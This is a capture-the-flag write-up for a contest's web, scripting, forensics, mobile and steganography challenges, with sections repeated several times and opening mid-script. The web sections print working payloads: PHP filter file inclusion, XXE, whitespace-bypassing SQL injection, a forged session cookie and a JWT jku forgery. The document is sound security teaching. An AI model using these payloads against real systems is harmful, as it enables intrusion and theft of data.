def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
Interesting. Fuzzing a little the search input I received an error message from MySQL. Nice.Still, something was odd. Adding the debug parameter in my GET request I saw that the whitespaces were removed. For example, searching for `gone home` returned me this:
After playing a liitle around I discovered that I can use `/**/` instead of spaces and it will work just fine.At this point is just a common SQL Injection attack were all the wite spaces are replaced with `/**/`.Payload | Information gained------- | ------------------`"order/**/ by/**/2#` | Single column queried`"union/**/select/**/schema_name/**/from/**/information_schema.schemata#` | Database name: rejected_sequel`"union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema="rejected_sequel"#` | Two tables: *flag*, *movies*`"union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="flag"#` | Columns from flag table: *flag*`"union/**/select/**/flag/**/from/**/flag#` | The values from the column *flag* from table *flag*
Flag: flag{at_least_this_sequel_got_published}
## Flag JokesPoints: 200
#### Description
>Want to hear a joke? Want the flag? How about both? Why don't YOU tell me a joke!>>Note, it is recommended to clear your cookies for this challenge as some may have the same names used in other challenges.>>Connect here:>http://jh2i.com:50010
### Solution
The page displays a form where you can login by only providing an username. We need to login as admin, but we can't do it directly.Providing any other username we are prompted with the next page:
Let's take a look at what cookie we have. It seems that the authentication mechanism is based on JWT. Puttin the value in Burp we get the next output:
Reading this article https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a I thought that maybe this token is exploitable by changing the *jku* value.Using https://github.com/ticarpi/jwt_tool I tried to exploit it by first changing the username into *admin* and after that by generating a new JSON Web Keys Set.The output from JWT_tool.py:```textYour new forged token:(Signed with: private_jwttool_RSA_1592044374.pem)[+] eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZW5hYTBpaGoxdW91dDZqLm0ucGlwZWRyZWFtLm5ldC9qd2tzLmpzb24iLCJraWQiOiJrZXlpZHNhbXBsZSJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.K0hK28hR4wPhRch7PrQ-eh8mM_8_zewdL1ErHg-YCvqdypTl4eRN_fvol9fG7PAORYOzfWEHM3OuiGGg6Jd22Ii8xz025rb_0vhRO7kdZVgKEJblAUd8shJjCe3WmT_HEj83LPg0OhhRqD3QpcWgu62mvVuL-vKXIE13gz1wjT_PzVH4O6jqgIFj-WC5WMgOxP3-NiybAnORlCzpzv31qeWoAawXgiiC_PFlAZfjOfREHa8kSR_mufjOhgEbjO9fZsMrm7KJQzQup8O1OFzmdjiaScmsw8e-Bbo66QSkPoonbpDmLu9v8aUH1v4waDZ0IoutdMY2ItbVQ5IbRXv2OQ
Paste this JWKS into a new file at the following location: https://enaa0ihj1uout6j.m.pipedream.net/jwks.json(Also exported as: jwks_jwttool_RSA_1592044374.json)[+]{ "kty":"RSA", "kid":"keyidsample", "use":"sig", "e":"AQAB", "n":"t_VtloNSQtuAB8wxqlfXGiDRPO2rUG1-BgMidCPKay6efk-yUOV15k1-mtcOfukyzy41FhuG_Izk8qk5tSbl0vzG6el0bm4gkq7cT_vZF3buFVnu77d7-_we8imyNKimqanzbmdQeLNl8PpOME2xrZIGPZEG9tsXoIbtrnAjKHlqnxAdETPv9crzDzTJDRdVhOifTD7OqV6edsRlCZVnS5XwGstsbMBKAfSjfe3OIjj-5e6cX_wHsGPIMrN4xR41Lz0nbwIG3djYHL5fbKiLuEMJFS9NzBwcoLfYq6Xer2C5coTn5cUJLUpGKrg7lSZo2SvZLFzegq0gOPwmIfDpkQ"}
``` I hosted the content key inside a flow from https://pipedream.com/ and set the new token in browser.
After hitting refresh I got the flag. 
Flag: flag{whoops_typo_shoulda_been_flag_jwks} # Scripting ## Rotten Points: 100 #### Description>Ick, this salad doesn't taste too good!>>Connect with:>nc jh2i.com 50034
### Solution Running nc jh2i.com 50034 we are asked to return exactly the response. > send back this line exactly. no flag here, just filler. After doing so for a few times we get `jveu srtb kyzj czev vortkcp. ef wcrx yviv, aljk wzccvi.` which seems to be a variation of ROT13 or Ceaser cypher. Sending exactly this message back will close the connection, so we need to decode it first and only afterwards send it. PLaying a liitle more I received the next message: > fraq onpx guvf yvar rknpgyl. punenpgre 2 bs gur synt vf 'n' Which decoded with ROT13 will become `send back this line exactly. character 2 of the flag is 'a'`. Nice, so we got an idea of how this works. We need to keep replying with the decoded line and extract the chars for building the flag on the way. The implementation for the ROTN decoding function is from here: https://eddmann.com/posts/implementing-rot13-and-rot-n-caesar-ciphers-in-python/ My final script: ```pythonimport pwnimport refrom string import ascii_lowercase as lc, ascii_lowercase as uc
def rot_alpha(n): lookup = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return lambda s: s.translate(lookup)
flag = dict()base_positoin = ascii_lowercase.find('s')r_position = re.compile('[0-9]{1,2}')r_letter = re.compile('\'.\'')
conn = pwn.remote('jh2i.com', 50034)line = conn.recvline()conn.send(line)
while True: rotted = conn.recvline().decode('utf-8') rot_letter = lc.find(rotted[0]) rot_number = base_positoin - rot_letter reversed_line = rot_alpha(rot_number)(rotted) if len(r_position.findall(reversed_line)) > 0: key = r_position.findall(reversed_line)[0] value = r_letter.findall(reversed_line)[0].replace('\'', '') flag[key] = value conn.send(reversed_line)``` Since I don't know th size of the flag I opted for running in debug mode and trying to build the flag after a few minutes. 
Flag: flag{now_you_know_your_caesars}
## Miscellaneous### VortexPoints: 75#### Description>Will you find the flag, or get lost in the vortex?>>Connect here:>nc jh2i.com 50017
### SolutionConnecting with netcat we get a lot of garbage. I let it connected for 1 minute and I received in continue chunk of bytes. So, my guess is that we need to find the flag in all that mess.
This small script will do the job:
```pythonimport pwn
conn = pwn.remote('jh2i.com', 50017)line = b''
while True: if b'flag' in line: print(line) break
line = conn.recvline()
conn.close()```
Flag: flag{more_text_in_the_vortex}
## Fake FilePoints: 100#### Description>Wait... where is the flag?>>Connect here:>nc jh2i.com 50026
### SolutionConnecting with netcat we get a bash. Poking around I couldn't find anything interesting so I went with `grep -r flag{ /` and we find the flag in `/home/user/..`.
Flag: flag{we_should_have_been_worried_about_u2k_not_y2k}
## AlkatrazPoints: 100#### Description>We are so restricted here in Alkatraz. Can you help us break out?>>Connect here:>nc jh2i.com 50024
### SolutionConnecting with netcat we get a bash, but we only have access to `ls` command. We are also restricted to run commands if `/` is in theirs names.
We solve this by reading the file with bash scripting.
Flag: flag{congrats_you_just_escaped_alkatraz}
# Mobile## CandroidPoints: 50#### Description>I think I can, I think I can!>>Download the file below.
### SolutionWe are given an apk file. I tried running strings on it and it gave me the flag.
Flag: flag{4ndr0id_1s_3asy}
## Simple AppPoints: 50#### Description>Here's a simple Android app. Can you get the flag?>>Download the file below.
### SolutionWe are given an apk file. I decompiled it using `apktool d simple-app.apk` and after that I ran `grep -r flag{ .` and got the flag.
Flag: flag{3asY_4ndr0id_r3vers1ng}
# Forensics## MicrosoftPoints: 100#### Description>We have to use Microsoft Word at the office!? Oof...>>Download the file below.
### SolutionWe are given a .docx file. Running file we see that is a `Microsoft OOXML` file, so nothing interesting. We try running binwalk to see if there are hidden files inside. We are in luck, there are. Now we run `grep -r flag .` inside the extracted directory and we get the flag:>./src/oof.txt:Sed eget sem mi. Nunc ornare tincidunt nulla quis imperdiet. Donec quis dignissim lorem, vel dictum felis. Morbi blandit dapibus lorem nec blandit. Pellentesque ornare auctor est, vitae ultrices nulla efficitur quis. *flag{oof_is_right_why_gfxdata_though}* Morbi vel velit vel sem malesuada volutpat interdum ut elit. Duis orci nisl, suscipit non maximus sit amet, consectetur at diam. Vestibulum cursus odio vitae eros mollis sodales. Ut scelerisque magna diam, sit amet porttitor massa tincidunt tempus. Vivamus libero nulla, facilisis id faucibus sit amet, ultricies non dolor. Maecenas ornare viverra dui, nec vestibulum nisl pretium id. Nam fringilla maximus quam non porttitor. Curabitur eget ultricies metus. Nunc hendrerit dolor non nulla volutpat sollicitudin. Suspendisse hendrerit odio nec luctus venenatis. Nullam lobortis fringilla aliquam.
Flag: flag{oof_is_right_why_gfxdata_though}
# Steganography## KstegPoints: 50#### Description> This must be a typo.... it was kust one letter away!>>Download the file below.
### SolutionWe are given a jpg file. I tried running some tools, but nothing was working. Reading again the description I see that they misspelled `just` by writing `kust`. I also thought that the title challenge was the tool that was used, but I couldn't find it. Putting it all togheter, the tool must be called `jsteg`, not `ksteg`.This is the repository of the tool: https://github.com/lukechampine/jstegRunning `jsteg reveal luke.jpg` gave us the flag.
Flag: flag{yeast_bit_steganography_oops_another_typo}
## DohPoints: 50#### Description>Doh! Stupid steganography...>>Note, this flag is not in the usual format.>>Download the file below.
### SolutionWe are given a jpg file. We try running steghide to extract whatever might be hidden. First, we try it without a password. We're in luck. Steghide extracted the `flag.txt` file.
Flag: JCTF{an_annoyed_grunt} |
##### Table of Contents- [Web](#web) - [Agent 95](#agent95) - [Localghost](#localghost) - [Phphonebook](#phphonebook) - [Official Business](#official-business) - [Extraterrestrial](#extraterrestrial) - [Rejected Sequel](#rejected-sequel) - [Flag jokes](#flag-jokes)- [Scripting](#Scripting) - [Rotten](#Rotten)- [Miscellaneous](#Miscellaneous) - [Vortex](#Vortex) - [Fake File](#Fake-File) - [Alkatraz](#Alkatraz)- [Mobile](#Mobile) - [Candroid](#Candroid) - [Simple App](#Simple-App)- [Forensics](#Forensics) - [Microsoft](#Microsoft)- [Steganography](#Steganography) - [Ksteg](#Ksteg) - [Doh](#Doh)<hr>
# Web## Agent 95Points: 50
#### Description>They've given you a number, and taken away your name~>>Connect here:>http://jh2i.com:50000
### Solution
After accessing the site we get the next message: "You don't look like our agent!We will only give our flag to our Agent 95! He is still running an old version of Windows..."
My guess is that we need to temper the User-Agent HTTP header with the value Windows 95. Doing so in Burp, we get the flag.
Flag: flag{user_agents_undercover}
## LocalghostPoints: 75
#### Description>BooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??>>Connect here:>http://jh2i.com:50003>>Note, this flag is not in the usual format.
### SolutionLooking around the page there is nothing interesting, but reading again the description I figure that there might be something in the local storage. Going there, I got the flag.
Flag: JCTF{spoooooky_ghosts_in_storage}
## PhphonebookPoints: 100
#### Description>Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!>>Connect here:>http://jh2i.com:50002
### Solution
The web page displays the next message: >Sorry! You are in /index.php/?file=>>The phonebook is located at phphonebook.php
Going to `http://jh2i.com:50002/index.php/?file=phphonebook.php` we can see that there's not much going on, so we need more information. Seeing the `file` parameter I though I can do a local file inclusion.I tested it with `file=/etc/passwd`, but it didn't work. I didn't give up and tried to do a LFI with php wrappers.Providing the next payload we got the content of phphonebook.php in base64: `http://jh2i.com:50002/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php`Base64 string returned: ` PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CgogIDxib2R5IGNsYXNzPSJiZyI+CiAgICA8aDEgaWQ9ImhlYWRlciI+IFdlbGNvbWUgdG8gdGhlIFBocGhvbmVib29rIDwvaDE+CgogICAgPGRpdiBpZD0iaW1fY29udGFpbmVyIj4KCiAgICAgIDxpbWcgc3JjPSJib29rLmpwZyIgd2lkdGg9IjUwJSIgaGVpZ2h0PSIzMCUiLz4KCiAgICAgIDxwIGNsYXNzPSJkZXNjIj4KICAgICAgVGhpcyBwaHBob25lYm9vayB3YXMgbWFkZSB0byBsb29rIHVwIGFsbCBzb3J0cyBvZiBudW1iZXJzISBIYXZlIGZ1bi4uLgogICAgICA8L3A+CgogICAgPC9kaXY+Cjxicj4KPGJyPgogICAgPGRpdj4KICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiMiPgogICAgICAgIDxsYWJlbCBpZD0iZm9ybV9sYWJlbCI+RW50ZXIgbnVtYmVyOiA8L2xhYmVsPgogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1iZXIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPgogICAgICA8L2Zvcm0+CiAgICA8L2Rpdj4KCiAgICA8ZGl2IGlkPSJwaHBfY29udGFpbmVyIj4KICAgIDw/cGhwCiAgICAgIGV4dHJhY3QoJF9QT1NUKTsKCiAgICAJaWYgKGlzc2V0KCRlbWVyZ2VuY3kpKXsKICAgIAkJZWNobyhmaWxlX2dldF9jb250ZW50cygiL2ZsYWcudHh0IikpOwogICAgCX0KICAgID8+CiAgPC9kaXY+CiAgPC9icj4KICA8L2JyPgogIDwvYnI+CgoKPGRpdiBzdHlsZT0icG9zaXRpb246Zml4ZWQ7IGJvdHRvbToxJTsgbGVmdDoxJTsiPgo8YnI+PGJyPjxicj48YnI+CjxiPiBOT1QgQ0hBTExFTkdFIFJFTEFURUQ6PC9iPjxicj5USEFOSyBZT1UgdG8gSU5USUdSSVRJIGZvciBzdXBwb3J0aW5nIE5haGFtQ29uIGFuZCBOYWhhbUNvbiBDVEYhCjxwPgo8aW1nIHdpZHRoPTYwMHB4IHNyYz0iaHR0cHM6Ly9kMjR3dXE2bzk1MWkyZy5jbG91ZGZyb250Lm5ldC9pbWcvZXZlbnRzL2lkLzQ1Ny80NTc3NDgxMjEvYXNzZXRzL2Y3ZGEwZDcxOGViNzdjODNmNWNiNjIyMWEwNmEyZjQ1LmludGkucG5nIj4KPC9wPgo8L2Rpdj4KCiAgPC9ib2R5Pgo8L2h0bWw+`After decoding it we find out what we need to do fo getting the flag.
Making a POST request to `http://jh2i.com:50002/phphonebook.php` with the body `emergency=true` gave us the flag.
Flag: flag{phon3_numb3r_3xtr4ct3d}
## Official BusinessPoints: 125
#### Description>Are you here on official business? Prove it.>>Connect here:>http://jh2i.com:50006
### SolutionThe main web page shows us a login form and told us that we need to login in as admin to continue.Checking the `robots.txt` file we see the code used for authenticating.Here is the code that makes the login:```[email protected]("/login", methods=["POST"])def login():
user = request.form.get("user", "") password = request.form.get("password", "")
if ( user != "hacker" or hashlib.sha512(bytes(password, "ascii")).digest() != b"hackshackshackshackshackshackshackshackshackshackshackshackshack" ): return abort(403) return do_login(user, password, True)``` As you can see, there's no way we can provide a passwod that will result in that hash. So it must be something else.
```[email protected]("/")def index():
ok, cookie = load_cookie() if not ok: return abort(403)
return render_template( "index.html", user=cookie.get("user", None), admin=cookie.get("admin", None), flag=FLAG, ) def load_cookie():
cookie = {} auth = request.cookies.get("auth") if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie``` At this point it's clear we need to forge the cookie to login as admin.There's a bug in this code. In `do_login` we can see that the value for `cookie["digest"]` is obtained by concatenating the secret key to the rest of the keys from the cookie.The thing is that in `load_cookie` the digest is compared with the sha512 of `secret_key + bytes(json.dumps(cookie, sort_keys=True)` and basically the secret key doesn't matter.We can make a cookie with any values and it will pass the verification from `load_cookie`. The secret key is used wrong here and we can abuse that by crafting our own cookie.I wrote the next script that does that. ```pythonimport binasciiimport hashlibimport json
secret_key = b'suchsecretwow'
def do_login(user, password, admin): cookie = {"user": user, "password": password, "admin": admin} cookie["digest"] = hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest()
cookie_value = binascii.hexlify(json.dumps(cookie).encode("utf8"))
return cookie_value
def load_cookie(user, password): cookie = {} auth = do_login(user, password, True)
if auth:
try: cookie = json.loads(binascii.unhexlify(auth).decode("utf8")) digest = cookie.pop("digest")
if ( digest != hashlib.sha512( secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii") ).hexdigest() ): return False, {} except: pass
return True, cookie
cookie_t = load_cookie('hacker', 'a')```
After adding the cookie with the value returned by `do_login` from our script we get the flag.
Flag: flag{did_this_even_pass_code_review}
## ExtraterrestrialPoints: 125 #### Description>Have you seen any aliens lately? Let us know!>>The flag is at the start of the solar system.>>Connect here:>http://jh2i.com:50004 ### SolutionWhen accessing the page we are prompted with the next form:
I tried some XSS vectors at first and I got a wierd error. For `` the server returned `Space required`.When I insert `<script>alert(1)</script>` the server returned `array(0) {}`. After some more tries I started thinking that is not about XSS.The next thing that came to my mind was XXE. I went to https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection and tried the first payload for returning a file: `]><root>&tes;;</root>`.That weird arry response from the server not looked like this:
Cool. Reading again the description, we try to use the next info:>The flag is at the start of the solar system.
This must mean that the flag is located under `/`.The payload `]><root>&tes;;</root>` gave us the flag.
Flag: flag{extraterrestrial_extra_entities} ## Rejected Sequel Points: 150 #### Description>Look at all these movie sequels that never got released! Will yours make it through??>>Connect here:>http://jh2i.com:50008 ### Solution Going to the web page we see that we have a form for searching moovies by name. Poking around, I see the next comment: ``
